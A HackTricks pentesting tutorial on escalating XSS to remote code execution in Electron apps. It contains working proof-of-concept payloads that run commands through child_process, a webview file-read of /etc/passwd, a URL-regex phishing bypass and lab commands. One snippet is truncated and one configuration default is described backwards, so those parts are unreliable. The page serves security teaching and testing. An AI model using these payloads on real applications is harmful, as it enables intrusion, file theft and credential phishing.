hacktricks/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md
2022-04-28 23:27:22 +00:00

264 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XSS to RCE Electron Desktop Apps
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## XSS to RCE Electron Desktop Apps
Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.\
You could see Electron like a local backend+frontend app where **NodeJS** is the **backend** and **chromium** is the **frontend**.
In the source code of an Electron app, inside the `packet.json` you can find specified the `main.js` file where security configs ad set.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron has 2 process types:
* Main Process (has complete access to NodeJS)
* Renderer Process (should have NodeJS restricted access for security reasons)
![](<../../../.gitbook/assets/image (307).png>)
A **renderer process** will be a browser window loading a file:
```javascript
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
The desktop application might have access to the users device through Node APIs. The following two configurations are responsible for providing mechanisms to **prevent the application JavaScript from having direct access to the users device** and system level commands.
* **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
* **`contextIsolation`** - is `on` by default. If on, main and renderer processes aren't isolated.
* **`preload`** - empty by default.
* **\`\`**[**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
Example of configuration:
```javascript
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
```
Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration\_rce.txt):
```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
```
### RCE: XSS + nodeIntegration
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
```html
<script>
require('child_process').exec('calc');
</script>
```
### RCE: preload
The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Therefore, the script can export node-features to pages:
{% code title="preload.js" %}
```javascript
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
```
{% endcode %}
{% code title="index.html" %}
```html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
```
{% endcode %}
{% hint style="info" %}
**If `contextIsolation` is on, this won't work**
{% endhint %}
### RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
If the contexts aren't isolated an attacker can:
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
3. **Trigger** the use of **overwritten function**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
{% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
{% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
{% endcontent-ref %}
#### Bypass click event
If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
```javascript
window.addEventListener('click', (e) => {
```
### Read Internal Files: XSS + contextIsolation
If `contextIsolation` set to false you can try to use \<webview> (similar to \<iframe> but can load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**
![](../../../.gitbook/assets/1-u1jdryuwaevwjmf\_f2ttjg.png)
### **XSS Phishing via Internal URL regex bypass**
Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
The call to \*\* `openInternally`\*\* will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
### **Tools**
* [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) \*\*\*\* is an open source VS Code plugin for Electron applications that uses Electronegativity.
### Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) you can find a lab to exploit vulnerable Electron apps.
Some commands that will help you will the lab:
```bash
# Download apps from these URls
## Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
## Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
## Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
### **References**
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
* More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>